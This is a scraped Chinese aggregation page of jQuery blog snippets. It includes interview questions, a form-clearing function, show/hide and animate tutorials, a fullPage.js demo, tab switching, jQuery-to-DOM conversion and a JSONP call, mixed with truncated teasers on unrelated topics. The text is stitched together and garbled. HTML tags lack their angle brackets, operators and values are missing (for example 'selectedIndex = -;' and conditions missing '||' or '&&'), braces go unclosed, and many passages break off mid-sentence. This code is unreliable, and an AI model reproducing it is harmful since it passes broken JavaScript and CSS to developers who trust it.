jquery除了咱们上面讲解的常用知识点之外,还有jquery 插件.jqueryUI知识点 jqueryUI 官网: https://jqueryui.com/ jqueryUI 中文网: http … 15-jQuery补充   jquery内容补充 jquery除了咱们上面讲解的常用知识点之外,还有jquery 插件.jqueryUI知识点 jqueryUI 官网: https://jqueryu … 昨日内容回顾 1. 页面的布局 Vue中使用Bootstrap搭页面 1. 安装 1. npm install bootstrap@3.3.7 -S 2. 使用 1. import ‘bootstra … Hashslider 实现了常见的 jQuery 滑块的功能,特别之处在于给 URL 加上了标签,因此你能够连接到滑块的某块内容.滑块的内容也可以从外部的 HTML 文件获取. 您可能感兴趣的相关文章 … FlexSlider 是一款轻量的响应式 jQuery 内容滚动插件,能够帮助你在项目轻松的创建漂亮的内容滚动效果.这款插件曾经连续多年入选 WDL 的年度最佳 jQuery 插件,值得大家在网站开发 … Wow Slider  WOW Slider是一款小巧易用的网页滑块设计.该软件内置大量的模版和工具,让你轻松设计出完美的视觉效果.他还可以帮助用户在短时间内创造出梦幻般的滑块,而无需编码和图像编辑, … jQuery内容过滤器 h1 this is h1 /h1 div id= p1 h2 this is h2 /h … 1.上节内容补充 文件的删除和修改: #文件的删除和修改 #文件中全部都要修改 # with open(‘歌词’,encoding=’utf-8′) as f1,open(‘歌词.bak’,’w’,e … 原文地址:  ASP.NET Core 2.2 WebApi 系列[九]使用SignalR 今天,看到了大牛的这篇博文,  发了一下评论, 我很惊喜, 没想到他很快就回复了我,  而且通过QQ帮助了S … !DOCTYPE html html xmlns= http://www.w3.org/1999/xhtml head m …

jQuery经典面试题及答案精选(转)

jQuery是一款非常流行的Javascript框架,如果你想要从事Web前端开发这个岗位,那么jQuery是你必须掌握而且能够熟练应用的一门技术。本文整理了一些关于jQuery的经典面试题及答案,分享给正要面试Web开发岗位的同学。 问题:jQuery的美元符号$有什么作用? 回答:其实美元符号$只是 jQuery 的别名,它是jQuery的选择器,如下代码: $(document).ready(function(){ }); 当然你也可以用jQuery来代替$,如下代码: jQuery(document).ready(function(){ }); jQuery中就是通过这个美元符号来实现各种灵活的DOM元素选择的,例如$( #main )即选中id为main的元素。 问题:body中的onload()函数和jQuery中的document.ready()有什么区别? 回答:onload()和document.ready()的区别有以下两点: 1、我们可以在页面中使用多个document.ready(),但只能使用一次onload()。 2、document.ready()函数在页面DOM元素加载完以后就会被调用,而onload()函数则要在所有的关联资源(包括图像、音频)加载完毕后才会调用。 问题:jQuery中有哪几种类型的选择器? 回答:从我自己的角度来讲,可以有3种类型的选择器,如下: 1、基本选择器:直接根据id、css类名、元素名返回匹配的dom元素。 2、层次选择器:也叫做路径选择器,可以根据路径层次来选择相应的DOM元素。 3、过滤选择器:在前面的基础上过滤相关条件,得到匹配的dom元素。 问题:请使用jQuery将页面上的所有元素边框设置为2px宽的虚线? 回答:这正是jQuery选择器上场的时候了,代码如下: script language=”javascript” type=”text/javascript” $(“*”).css(“border”, “2px dotted red”); /script 问题:当CDN上的jQuery文件不可用时,该怎么办? 回答:为了节省带宽和脚本引用的稳定性,我们会使用CDN上的jQuery文件,例如google的jquery cdn服务。但是如果这些CDN上的jQuery服务不可用,我们还可以通过以下代码来切换到本地服务器的jQuery版本: script type=”text/javascript” language=”Javascript” src=”http://ajax.aspnetcdn.com/ajax/jquery/jquery-1.4.1.min.js ” /script script type=’text/javascript’ // ![CDATA[ if (typeof jQuery == ‘undefined’) { document.write(unescape(“%3Cscript src=’/Script/jquery-1.4.1.min.js’ type=’text/javascript’ %3E%3C/script%3E”)); }//]] /script 问题:如何使用jQuery实现点击按钮弹出一个对话框? 回答:代码如下: HTML: input id=”inputField” type=”text” size=”12″/ jQuery: script type=”text/javascript” $(document).ready(function () { $(‘#Button1’).click(function () { alert($(‘#inputField’).attr(“value”)); }); }); /script 问题:jQuery中的Delegate()函数有什么作用? 回答:delegate()会在以下两个情况下使用到: 1、如果你有一个父元素,需要给其下的子元素添加事件,这时你可以使用delegate()了,代码如下: $(“ul”).delegate(“li”, “click”, function(){ $(this).hide(); }); 2、当元素在当前页面中不可用时,可以使用delegate() 问题:怎样用jQuery编码和解码URL? 回答:在jQuery中,我们可以使用以下方法实现URL的编码和解码。 encodeURIComponent(url) and decodeURIComponent(url) 问题:如何用jQuery禁用浏览器的前进后退按钮? 回答:实现代码如下: script type=”text/javascript” language=”javascript” $(document).ready(function() { window.history.forward(1); //OR window.history.forward(-1); /script

jquery.form.js用法之清空form的方法

本段代码摘取自jquery.form.js中,由于觉得该方法的使用性非常强,同时也可独立拿出来使用。该段代码言简意赅可以很好的作为学习参考。 /** * Clears the form data. Takes the following actions on the form’s input fields: * – input text fields will have their ‘value’ property set to the empty string * – select elements will have their ‘selectedIndex’ property set to -1 * – checkbox and radio inputs will have their ‘checked’ property set to false * – inputs of type submit, button, reset, and hidden will *not* be effected * – button elements will *not* be effected */ $.fn.clearForm = function(includeHidden) { return this.each(function() { $(‘input,select,textarea’, this).clearFields(includeHidden); //this表示设置上下文环境,有多个表单时只作用调用的表单 }); }; $.fn.clearFields = $.fn.clearInputs = function(includeHidden) { var re = /^(?:color|date|datetime|email|month|number|password|range|search|tel|text|time|url|week)$/i; // ‘hidden’ is not in this list return this.each(function() { var t = this.type, tag = this.tagName.toLowerCase(); if (re.test(t) || tag == ‘textarea’) { this.value = ”; } else if (t == ‘checkbox’ || t == ‘radio’) { this.checked = false; } else if (tag == ‘select’) { this.selectedIndex = -; } else if (t == “file”) { if (/MSIE/.test(navigator.userAgent)) { $(this).replaceWith($(this).clone(true)); } else { $(this).val(”); } } else if (includeHidden) { // includeHidden can be the value true, or it can be a selector string // indicating a special test; for example: // $(‘#myForm’).clearForm(‘.special:hidden’) // the above would clean hidden inputs that have the class of ‘special’ if ( (includeHidden === true /hidden/.test(t)) || (typeof includeHidden == ‘string’ $(this).is(includeHidden)) ) { this.value = ”; } } }); };

jQuery_效果(隐藏和显示)

一、jQuery hide() 显示和 show()隐藏 通过 jQuery,您可以使用 hide() 和 show() 方法来隐藏和显示 HTML 元素: script type=”text/javascript” src=”http://ajax.lug.ustc.edu.cn/ajax/libs/jquery/1.4.0/jquery.min.js” /script script type=”text/javascript” $(function(){ $(‘#hide’).click(function(){ $(“p”).hide(); $(‘#show’).click(function(){ $(“p”).show(); /script /head body p id=”p1″ 如果点击 隐藏 按钮,我就会消失。如果点击 显示 按钮,我又出现啦 /p button id=”hide” type=”button” 隐藏 /button button id=”show” type=”button” 显示 /button /body $(selector).hide(speed,callback); $(selector).show(speed,callback); 可选的 speed 参数规定隐藏/显示的速度,可以取以下值:”slow”、”fast” 或毫秒。 可选的 callback 参数是隐藏或显示完成后所执行的函数名称。 script type=”text/javascript” src=”http://ajax.lug.ustc.edu.cn/ajax/libs/jquery/1.4.0/jquery.min.js” /script script type=”text/javascript” $(function(){ $(‘#hide’).click(function(){ $(“p”).hide(1000);//给hide加上参数 $(‘#show’).click(function(){ $(“p”).show(1000); /script /head body p id=”p1″ 如果点击 隐藏 按钮,我就会消失。如果点击 显示 按钮,我又出现啦 /p button id=”hide” type=”button” 隐藏 /button button id=”show” type=”button” 显示 /button /body 二、jQuery toggle()方法 通过 jQuery,您可以使用 toggle() 方法来切换 hide() 和 show() 方法。显示被隐藏的元素,并隐藏已显示的元素: script type=”text/javascript” src=”http://ajax.lug.ustc.edu.cn/ajax/libs/jquery/1.4.0/jquery.min.js” /script script type=”text/javascript” $(function(){ $(‘#hide’).click(function(){ $(“p”).toggle(1000);//给hide加上参数 /script /head body p id=”p1″ 如果点击”隐藏/显示”按钮,我就会消失或者出现啦 /p button id=”hide” type=”button” 隐藏/显示 /button /body $(selector).toggle(speed,callback); 可选的 speed 参数规定隐藏/显示的速度,可以取以下值:”slow”、”fast” 或毫秒。 可选的 callback 参数是 toggle() 方法完成后所执行的函数名称。

seajs加载jquery提示$ is not a function

jquery1.7以上的都支持模块化加载,只是jquery默认的是支持amd,不支持cmd。所以要用seajs加载jquery,需要稍微改下jquery 把 if (typeof define === “function” (define.amd)) { define( “jquery”, [], function() { return jQuery; }); } 改成 if (typeof define === “function” (define.amd || define.cmd)) { define( “jquery”, [], function() { return jQuery; }); } 或 if (typeof define === “function”) { define( “jquery”, [], function() { return jQuery; }); } 就可以了

jQuery each和js forEach用法比较

1.  .ajaxComplete( handler(event, XMLHttpRequest, ajaxOptions) ) 每当一个Ajax请求完成,jQuery就会触发ajaxComplete … 摘要 存储过程的调用在B/S系统中用的很多.传统的调用方法不仅速度慢,而且代码会随着存储过程的增多不断膨胀,难以维护.新的方法在一定程度上解决了这些问题. 关键词 ASP.NET:存储过程   在使用 … 单例模式定义:一个类有且仅有一个实例,并且自行实例化向整个系统提供. 实现要点: 1.是单例模式的类只提供私有的构造函数.   2.是类定义中含有一个该类的静态私有对象. 3.是该类提供了一个静态的共 … http://blog.csdn.net/chelen_jak/article/details/44827393 http://www.gbtags.com/technology/jquerynews … 性能分析之– JAVA Thread Dump 分析综述       一.Thread Dump介绍 1.1什么是Thread Dump? Thread Dump是非常有用的诊断Java应用问题的工 … 参考文档http://www.linuxidc.com/Linux/2014-03/98978.htm 1. 谷歌Java编码规范 http://google-styleguide.googlecode.com/svn/trunk/javaguide.html 2. 下载配置文件: https://co … HTML基本标签(一) 1.什么是HTML html:Hyper TextMakeup language:超文本标记语言 html:网页的“源码” 浏览器:“解释和执行”html源码的工具 2.网页的 … 以下的GW指Gateway 所用指令: root@lora-iot-sk:~# tcpdump -i lo -nn -x ‘length 100’ 入网流程 GW – NS join_r … UE4中的官方文档结构比较混乱,且有部分错误,不方便学习.笔者试图通过本文,整理出一篇关于UE4网络的文章,方便朋友们对UE4中的网络同步部分的认识,并有进一步理解.如有讲得不清楚明白的地方,还望批评 …

vue 开发依赖安装

js代码: script language= javascript ,h=,s=,ss=; function second(){ )==){s+=;ss=;} & … 关键字:Web本地化, jquery,jquery.i18n.properties. 运行环境:Chrome, IE. 本文介绍使用jquery.i18n.properties对网站前端实现本地化,支 … 类型.值和变量 1.原始类型   数字.字符串和布尔   null空  undefined未定义 2.对象类型 3.类  Array  Function Date RegExp  Error 4.js … Hard Process Time Limit:1000MS     Memory Limit:262144KB     64bit IO Format:%I64d %I64u Submi … 在CSS中,任何元素都可以浮动.浮动元素会生成一个块级框,而不论它本身是何种元素.如果浮动非替换元素,则要指定一个明确的宽度:否则,它们会尽可能地窄. 注释:float属性不具有继承特性,就是说子元素 … //传参数定时器 private static System.Timers.Timer aTimer;  Main(ApprovalID); public static void Main(int A … 引言问题 img src= background.jpg script src= test.js /script … 一.什么是同步器   多线程并发的执行,之间通过某种 共享 状态来同步,只有当状态满足 xxxx 条件,才能触发线程执行 xxxx . 这个共同的语义可以称之为同步器.可以认为以上所有的锁机制都可以基 … redis分布式部署 1.scrapy框架是否可以自己实现分布式? – 不可以.原因有二. 其一:因为多台机器上部署的scrapy会各自拥有各自的调度器,这样就使得多台机器无法分配start_urls … 我喜欢到一些大型网站上去翻阅它们的原代码,期望能找到一些可以应用到自己的代码中的模式,或发现一些之前从未听说过的工具和技巧.可是,在我查看这些大型网站的源代码时,经常会发现一个问题,那就是重复的代码执 …

IIFE-js中(function(){…})()立即执行函数写法理解

}(window, document, window.jQuery); // The global window, document, and jQuery objects are passed into the anonymous function 3、避免全局命名冲突。当使用jQuery的时候,全局的window.jQuery对象 作为一个参数传递给$,在匿名函数内部你再也不需要担心$和其他库或者模板申明冲突。 正如James padolsey所说: An IIFE protects a module s scope from the environment in which it is placed. 4、通过传参的方式,可以灵活的加载第三方插件。(当然使用模块化加载更好,这里不考虑。)举个例子,如果a页面需要使用KindEditor,a.html引入kindeditor.js 和 a.js 你可能会这么写 a.js:

JQuery插件制作动态网页

         1导入插件 在这个页面中需要用到三款插件,分别是jquery-3.1.1.js(JQuery 3.1.1版本)、jquery.fullPage.js(附带jquery.fullPage.css)和 move.js 动画插件。 导入顺序也如上所示,因为后两款是使用JQuery编写的,因而需要优先导入jquery-3.1.1.js,还需要一并将jquery.fullPage.css导入HTML文件。 结构如下,导入完成后,我们开始编写HTML代码。 link rel=”stylesheet” type=”text/css” href=”../css/jquery.fullPage.css”/ link rel=”stylesheet” type=”text/css” href=”../css/iphone.css”/ script type=”text/javascript” src=”../js/jquery-3.1.1.js” /script script type=”text/javascript” src=”../js/jquery.fullPage.js” /script script type=”text/javascript” src=”../js/move.js” /script 2HTML body div id=”fullpage” div id=”section1″ h1 fullPage.js iPhone 5C演示 /h1 img src=”../img/iphone1.jpg”/ /div div id=”section2″ img src=”../img/iphone2.png” / img src=”../img/iphone3.png” / img src=”../img/iphone4.png” / div h1 A powerful plugin /h1 strong fullPage.js /strong callbacks allow you to create amazing dynamic sites with a bit of imagination. This example tries to reproduce the Apple iPhone-5c website animations as an example of what fullPage.js is capable of. /div /div div id=”section3″ img src=”../img/iphone-yellow.png” / img src=”../img/iphone-red.png”/ img src=”../img/iphone-blue.png” / div h1 Amazing stuff /h1 Combining strong fullPage.js /strong with your own CSS styles and animations, you will be able to create something remarkable. /div /div div id=”section4″ img src=”../img/iphone-green.png” / img src=”../img/iphone-two.png” / div h1 Just a demo /h1 This is, of course, just a demo. I didn’t want to spend much time on it. Don’t expect it to work perfectly in all kind of screens. It has been designed to work on 1180px width or over on modern browsers with CSS3. /div /div /div /body 3CSS样式 *{ margin: 0px; padding: 0px; } #fullpage{ min-width:1250px ; } .section{ min-height: 600px; } #section1{ background-color: #F0F2F4; overflow: hidden; text-align: center; } #section1 h1{ font-size: 70px; color: #333333; text-align: center; margin: 60px 0px; } #section2{ position: relative; overflow: hidden; #section2 .description{ width: 370px; position: absolute; !–首先固定动画执行之前,图片的位置– top: 200px; right: 130px; color: #808080; font-size: 18px; line-height: 35px; #section2 .description h1{ font-size: 36px; margin-top: 15px; margin-bottom: 15px; } #section2 img{ position: absolute; left: 0px; bottom: -60px; } #section2 .img3{ z-index:; #section3{ position: relative; overflow: hidden; } #section3 .description{ width: 600px; position: absolute; top: 150px; right: 200px; color: #808080; font-size: 18px; line-height: 35px; #section3 .description h1{ font-size: 36px; margin-top: 15px; margin-bottom: 15px; } #section3 img{ position: absolute; } #section3 .red{ left: 150px; top: 260px; } #section3 .yellow{ left: -180px; bottom: -420px; } #section3 .blue{ bottom: -420px; left: 490px; #section3{ position: relative; overflow: hidden; #section4 .green{ position: absolute; top: 200px; left: 150px; } #section4 .description{ width: 90%; position: absolute; top: 100px; left: 5%; color: #808080; font-size: 14px; line-height: 25px; text-align: center; } #section4 .description h1{ font-size: 36px; margin-top: 15px; margin-bottom: 15px; } #section4 .two{ position: absolute; bottom: -200px; left: 490px; } 4各种调用JQuery插件 script type=”text/javascript” $(function(){ $(“#fullpage”).fullpage({ //调用fullpage插件 navigation : true, verticalCentered : false, anchors:[“page1″,”page2″,”page3″,”page4”], onLeave:function(index,nextIndex,direction){ // 当页面即将滚动离开的时候触发。设置目的:为了使动画循环执行。 switch(index){ // index:当前所在页面的序号 case 2: move(“.img2”).delay(600).x(0).duration(“0s”).end(); move(“.img3”).delay(600).x(0).duration(“0s”).end(); move(“.img4”).delay(600).x(0).duration(“0s”).end(); break; case 3: if(nextIndex != 4){ move(“.red”).delay(0).y(0).duration(“0s”).end(); move(“.blue”).delay(0).y(0).duration(“0s”).end(); move(“.yellow”).delay(0).y(0).duration(“0s”).end(); } move(“.green”).delay(0).y(30).duration(“1.5s”).end(); break; default: break; switch(nextIndex){ // nextIndex:即将去往页面的序号; case 2: move(“.img2”).delay(300).x(-65).duration(“.5s”).end(); move(“.img3”).delay(300).x(290).duration(“.5s”).end(); move(“.img4”).delay(300).x(630).duration(“.5s”).end(); break; case 3: move(“.red”).delay(0).y(-400).duration(“1.5s”).end(); // 调用move 调整动画显示位置,执行时间 move(“.blue”).delay(0).y(-400).duration(“1.5s”).end(); move(“.yellow”).delay(0).y(-400).duration(“1.5s”).end(); move(“.green”).delay(0).y(-360).duration(“1.5s”).end(); break; default: break; } }); }); // 文档就绪函数 /script

jquery animate 动画效果使用解析

animate的意思是:使有生气;驱动;使栩栩如生地动作;赋予 以生命作为形容词:有生命的;活的;有生气的;生气勃勃的 先看动画效果: animate()在jquery中作为一个方法,可用于创建动画效果 以下是实例代码: !DOCTYPE html PUBLIC “-//W3C//DTD XHTML 1.0 Transitional//EN” “http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd” html xmlns=”http://www.w3.org/1999/xhtml” head title jquery animate动画–柯乐义 /title base target=”_blank” / script type=”text/javascript” src=”http://keleyi.com/keleyi/pmedia/jquery-1.9.1.min.js” /script script type=”text/javascript” $(document).ready(function () { $(“button#bGo_kel”+”eyi_com”).click(function () { $(“div#divAnimate_keleyi_com”).animate({ top: “-280px”, opacity: “0.5” }, “slow”); $(“div#divAnimate_keleyi_com”).animate({ fontSize: “5em” }, “slow”); }); $(“button#bBack_keleyi_com”).click(function () { $(“div#divAnimate_ke”+”leyi_com”).animate({ top: “0px”, opacity: “1” }, “slow”); $(“div#divAnimate_keleyi_com”).animate({ fontSize: “1em” }, “slow”); }); }); /script /head body div h2 animate动画效果演示 /h2 button id=”bGo_keleyi_com” 开始动画 /button button id=”bBack_keleyi_com” 回滚动画 /button a href=”http://keleyi.com/a/bjac/5b62295315de9ace.htm” target=”_blank” 原文 /a br / br / div id=”divAnimate_keleyi_com” keleyi.com /div /div div a href=”http://keleyi.com/keleyi/phtml/jquery/1.htm” jquery修改链接 /a a href=”http://keleyi.com/keleyi/phtml/jquery/2.htm” jquery弹出窗体 /a /div /body /html 定义和用法animate() 方法执行 CSS 属性集的自定义动画。该方法通过CSS样式将元素从一个状态改变为另一个状态。CSS属性值是逐渐改变的,这样就可以创建动画效果。只有数字值可创建动画(比如 “margin:30px”)。字符串值无法创建动画(比如 “background-color:red”)。注释:使用 “+=” 或 “-=” 来创建相对动画(relative animations)。 语法 1$(selector).animate(styles,speed,easing,callback) 参数 styles 必需。规定产生动画效果的 CSS 样式和值。可能的 CSS 样式值(提供实例):backgroundPositionborderWdthborderBottomWidthborderLeftWidthborderRightWidthborderTopWidthborderSpacingmarginmarginBottommarginLeftmarginRightmarginTopoutlineWidthpaddingpaddingBottompaddingLeftpaddingRightpaddingTopheightwidthmaxHeightmaxWidthminHeightminWidthfontfontSizebottomleftrighttopletterSpacingwordSpacinglineHeighttextIndent注释:CSS 样式使用 DOM 名称(比如 “fontSize”)来设置,而非 CSS 名称(比如 “font-size”)。 speed 可选。规定动画的速度。默认是 “normal”。可能的值:毫秒 (比如 1500)”slow””normal””fast” easing 可选。规定在不同的动画点中设置动画速度的 easing 函数。内置的 easing 函数:swinglinear扩展插件中提供更多 easing 函数。 allback 可选。animate 函数执行完之后,要执行的函数。 语法 2$(selector).animate(styles,options) styles 必需。规定产生动画效果的 CSS 样式和值(同上)。 options 可选。规定动画的额外选项。可能的值:speed – 设置动画的速度easing – 规定要使用的 easing 函数callback – 规定动画完成之后要执行的函数step – 规定动画的每一步完成之后要执行的函数queue – 布尔值。指示是否在效果队列中放置动画。如果为 false,则动画将立即开始specialEasing – 来自 styles 参数的一个或多个 CSS 属性的映射,以及它们的对应 easing 函数 本文转自柯乐义:

第一次sprint团队贡献分改

1.使用NuGet下载jquery ui Install-Package jQuery.UI.Combined 2.下载多语言文件: development-bundle/i18n目录下是jquery … 1150. Page Numbers Time limit: 1.0 secondMemory limit: 64 MB John Smith has decided to number the pa … 自定义错误处理器更加智能. ?php class myErrorHandler{ //$message:错误信息 //$filename:错误文件名 //$line:错误行号 //$vars: … !DOCTYPE html html xmlns= http://www.w3.org/1999/xhtml head m … 原文:http://blog.csdn.net/mexican_jacky/article/details/50278045 第一步:创建工厂仓库 第二步:cms项目,那么我们就只能cms项目组用,那 … 需要重新安装Sharepoint 2010 ,遇到问题记录下来,sharepoint中安装了热补丁和英文语言包. 卸载: 1.运行配置向导将服务器从服务场中脱离: 2.在管理中心中卸载sharepoi … 通过对Ext的学习,发现学习分三部曲:1.看官网的Demo,宏观了解Ext能做什么:2.看相关书籍,做理论指导:3.实现官网的Demo,体会Ext的真谛. 在完毕了第一.二部后,如今我们须要做的是实现 … public class Test { public static void main(String[] args) { Integer a = 12; Integer b = 12; System. … 事情的起因是因为数据库的IO操作过大,于是新加了个硬盘,发现在执行写入操作的时候,服务器的压力依然是比较大的,于是想到了内存盘.内存盘是 魔方 系统优化提供的一个小工具,就是将内存 … 一年之前—— 未来两年内,系统预估的总订单数量可达一亿条左右. 按Mysql单表存储500万条记录来算,暂时不必分库,单库30个分表是比较合适的水平分表方案. 于是小灰设计了这样的分表逻辑: 订单表创 …

Jquery简单的选项卡实现

原来对jQuery用的不是很多,主要就是表单验证这些部分,最近想要更深入的学习jQuery和JavaScript编码,就找来了一些视频进行学习,然后就做了这个简单的选项卡示例。视频学习地址见最后。 在进行编码之前,最先要做的就是页面布局,开发工具使用的是安装了zenCoding的Notepad++: body div id= contents input type= button value= 唐诗 / input type= button value= 宋词 / input type= button value= 元曲 / div > p 白日依山尽, br 黄河入海流, br 欲穷千里目, br 更上一层楼。 /p /div div p 问君能有几多愁, br 恰似一江春水向东流! /p /div div p 枯藤老树昏鸦, br 小桥流水人家。 br 古道西风瘦马, br 断肠人在天涯。 /p /div /div /body Css演示设置 style type= text/css #contents div{ height:200px; width:200px; border:1px #000000 solid; display:none; position:absolute; } .active{ background-color:red; } /style jQuery类库的引入 为了方便以后版本的查找,使用的是百度在线的CDN库; script src= http://libs.baidu.com/jquery/1.7.2/jquery.js /script 动态选项卡的实现 页面布局完成以后,就可以开始动态效果的制作了,下面是代码实现: script type= text/javascript $(function(){ $(‘#contents’).find(‘input’).click(function(){ $(‘#contents’).find(‘input’).attr(‘class’,”); $(this).attr(‘class’,’active’); $(‘#contents’).find(‘div’).css(‘display’,’none’); $(‘#contents’).find(‘div’).eq($(this).index()).css(‘display’,’block’); }); }); /script 视频课程地址: 百度CDN地址:

[svc]linux日志和安全日志

作为一个iOS工程师,想写博客也是有原因的:首先有这个想法(写博客的想法)也是因为想到自己都从事iOS开发快两年了,怎么也只会堆代码,写view,技术真的很一般,感觉都要被淘汰了:基于以上原因,自己也 … Widget引入 我们可以把Widget理解成放置在桌面上的小组件(挂件),有了Widget,我们可以很方便地直接在桌面上进行各种操作,例如播放音乐. 当我们长按桌面时,可以看到Widget选项,如下 … 前言:如果看过了第一篇和第二篇, 相信大家会对jQuery有个初步的认识了, 对于jQuery的选择器和数组的操作都已经很熟悉了, 这一篇就单独罗列jQuery中字典的操作相关的内容. 1. 数组中添 … 将最近总结的最常用的几种设计模式优势与区别自己小结一下,分享给大家. kvo只能用来对属性作出反应,而不会用来对方法或者动作作出反应,是实现一个对象与另外一个对象保持同步的一种方法,能够提供观察的属性 … 使用继承时,不要为了部分功能而去继承,老子就是这么傲娇! 2.  在类中,无参构造函数尽量写出来,可以减少很多不必要的错误. 因为一旦类中你 写出了带参的构造函数,那么系统就不会自动给出无参的构造函数 … 首先创建一个服务器 using UnityEngine; using System.Collections; using System.Net.Sockets; using System.Net; u … 小分享:我有几张阿里云优惠券,用券购买或者升级阿里云相应产品最多可以优惠五折!领券地址:https://promotion.aliyun.com/ntms/act/ambassador/shareto … 下载地址:https://www.mongodb.com/download-center#community 这里的方法只对应3.4,别的有没有效果请自行判断. 下载后按默认下一步. 默认安装地址  … 1.计算机表示图形的几种方式 1)BMP :几乎不进行压缩 占用空间比较大 2)JPG : 在BMP的基础上对相邻的像素进行压缩,占用空间比BMP小 3) PNG : 在JPG的基础上进一步压缩 占用 … 有时候我们会遇到,由于统计信息不准确导致优化器生成了一个错误的执行计划(或者这样表达:一个较差的执行计划),从而引起了系统性能问题.那么如果我们怀疑这个错误的执行计划是由于统计信息不准确引起的.那么我 …

JQuery学习笔记—jquery对象和DOM对象的关系

1.DOM(Document  Object Model,文档对象模型)。DOM树 { html (head body),  head(meta title) , body( h,p,ui),  ul(li…) } 2.Jquery对象:JQuery对象就是通过jquery包装DOM对象后产生的对象,JQuery对象是jquery独有的。 3.JQuery对象和DOM对象的相互转换。 声明变量的风格,DOM变量  。如:var variable=DOM对象; JQuery变量。如: var $variable=Jquery对象; 3.1 JQuery对象转成DOM对象,有两种方法,[index]和get(index)。  如: var $test = $(“#test”);  //Jquery对象 var test = $test[0];  //DOM对象  (将$testjquery对象转化为DOM对象,通过[index]方法来转化) var test1 = $test.get(0); //DOM对象,(将$test 对象转化为DOM对象,通过get(index)方法来实现) 3.2 Dom对象转化成JQuery对象,使用$(DOM对象),就可以转化。 var domTest = document.getElementById(“domTest”);  //DOM对象 var $domTest = $(domTest);  //JQuery对象

【转】jQuery对象与DOM对象之间的转换方法

刚开始学习,可能一时会分不清楚哪些是jQuery对象,哪些是DOM对象。至于DOM对象不多解释,我们接触的太多了,下面重点介绍一下jQuery,以及两者相互间的转换。 什么是jQuery对象? —就是通过jQuery包装DOM对象后产生的对象。jQuery对象是jQuery独有的,其可以使用jQuery里的方法。 比如: $(“#test”).html() 意思是指:获取ID为test的元素内的html代码。其中html()是jQuery里的方法 这段代码等同于用DOM实现代码: document.getElementById(“id”).innerHTML; 虽 然jQuery对象是包装DOM对象后产生的,但是jQuery无法使用DOM对象的任何方法,同理DOM对象也不能使用jQuery里的方法.乱使用会 报错。比如:$(“#test”).innerHTML、document.getElementById(“id”).html()之类的写法都是错误 的。 还有一个要注意的是:用#id作为选择符取得的是jQuery对象与document.getElementById(“id”)得到的DOM对象,这两者并不等价。请参看如下说的两者间的转换。 既 然jQuery有区别但也有联系,那么jQuery对象与DOM对象也可以相互转换。在再两者转换前首先我们给一个约定:如果一个获取的是jQuery对 象,那么我们在变量前面加上$,如:var $variab = jQuery对象;如果获取的是DOM对象,则与习惯普通一样:var variab = DOM对象;这么约定只是便于讲解与区别,实际使用中并不规定。 jQuery对象转成DOM对象: 两种转换方式将一个jQuery对象转换成DOM对象:[index]和.get(index); (1)jQuery对象是一个数据对象,可以通过[index]的方法,来得到相应的DOM对象。 如:var $v =$(“#v”) ; //jQuery对象 var v=$v[0]; //DOM对象 alert(v.checked) //检测这个checkbox是否被选中 (2)jQuery本身提供,通过.get(index)方法,得到相应的DOM对象 如:var $v=$(“#v”); //jQuery对象 var v=$v.get(0); //DOM对象 alert(v.checked) //检测这个checkbox是否被选中 DOM对象转成jQuery对象: 对于已经是一个DOM对象,只需要用$()把DOM对象包装起来,就可以获得一个jQuery对象了。$(DOM对象) 如:var v=document.getElementById(“v”); //DOM对象 var $v=$(v); //jQuery对象 转换后,就可以任意使用jQuery的方法了。 通过以上方法,可以任意的相互转换jQuery对象和DOM对象。需要再强调注意的是:DOM对象才能使用DOM中的方法,jQuery对象是不可以用DOM中的方法。 下面是其它的相关使用方法:1、DOM对象转jQuery对象 普通的Dom对象一般可以通过$()转换成jQuery对象。 如:$(document.getElementById(“msg”)) 返回的就是jQuery对象,可以使用jQuery的方法。 2、jQuery对象转DOM对象 由于jQuery对象本身是一个集合。所以如果jQuery对象要转换为Dom对象则必须取出其中的某一项,一般可通过索引取出。 如: $(“#msg”)[0],$(“div”).eq(1)[0],$(“div”).get()[1],$(“td”)[5] 这些都是Dom对象,可以使用Dom中的方法,但不能再使用jQuery的方法。 以下几种写法都是正确的: $(“#msg”).html(); $(“#msg”)[0].innerHTML; $(“#msg”).eq(0)[0].innerHTML; $(“#msg”).get(0).innerHTML; (摘录自:http://www.jquerycn.cn/a_4561)

使用 jQuery对象设置页面中 <ul> 元素的标记类型,并使用 DOM 对象设置 <li> 元素的浮动属性和右边距。使用jQuery 对象和 DOM 对象设置页面元素属性

需求说明: 使用 jQuery对象设置页面中 ul 元素的标记类型,并使用 DOM 对象设置 li 元素的浮动属性和右边距。使用jQuery 对象和 DOM 对象设置页面元素属性 实现思路: 在页面中添加 ul 标签,用来显示无序列表 在 ul 标签下加入 4 个 li 标签,每个 li 标签中加入一个超链接,超链接显示的文本标签分别为首页、新闻、消息和关于 在页面中引入 jQuery 文件 在页面框架下载完成后,使用 jQuery 中的选择器获取页面的 ul 元素和所有的 li 元素,使用 jQuery对象的 css() 方法设置 ul 元素的标记类型,使用 jQuery 对象中的 get() 方法将 li 元素的 jQuery 对象转换成 DOM 对象,遍历 DOM 对象,使用 DOM 对象中的 style 样式设置 li 元素的浮动和右边距 实现代码: !DOCTYPE html html head meta charset=”UTF-8″ title /title script type=”text/javascript” src=”js/jquery-3.3.1.min.js” /script script type=”text/javascript” $(function(){ $(“ul”).css(“list-style-type”,”none”); var lis = $(“li”).get(); for(var i=0;i lis.length;i++) { lis[i].style.float =”left”; lis[i].style.marginLeft=”10px”; } }); /script /head body ul li a href=”#” 首页 /a /li li a href=”#” 新闻 /a /li li a href=”#” 消息 /a /li li a href=”#” 关于 /a /li /ul /body /html

JS-JQuery(JSONP)调用WebService跨域若干技术点

! 头部引用 — script type=”text/javascript” src=”/js/jquery-1.4.4.js” /script !– 解决jquery和其他引入的JS的$存在冲突,可选 script   type=”text/javascript” var JQ=$; /script — ! 在功能执行JS调用Web服务的函数内   — JQ.ajax({ type: “get”, url: “http://10.0.0.29/TheDimDataService/GetDataString.asmx/GetSingleInfo?jsoncallback=?”, dataType: “jsonp”, jsonp: “jsoncallback”, data: {x:xv,y:yv},  //传输的数据 success: function (result){},  //得到调用服务结果 error:OnError });

jQuery-1.9.1源码分析系列(十五) 动画处理——外篇

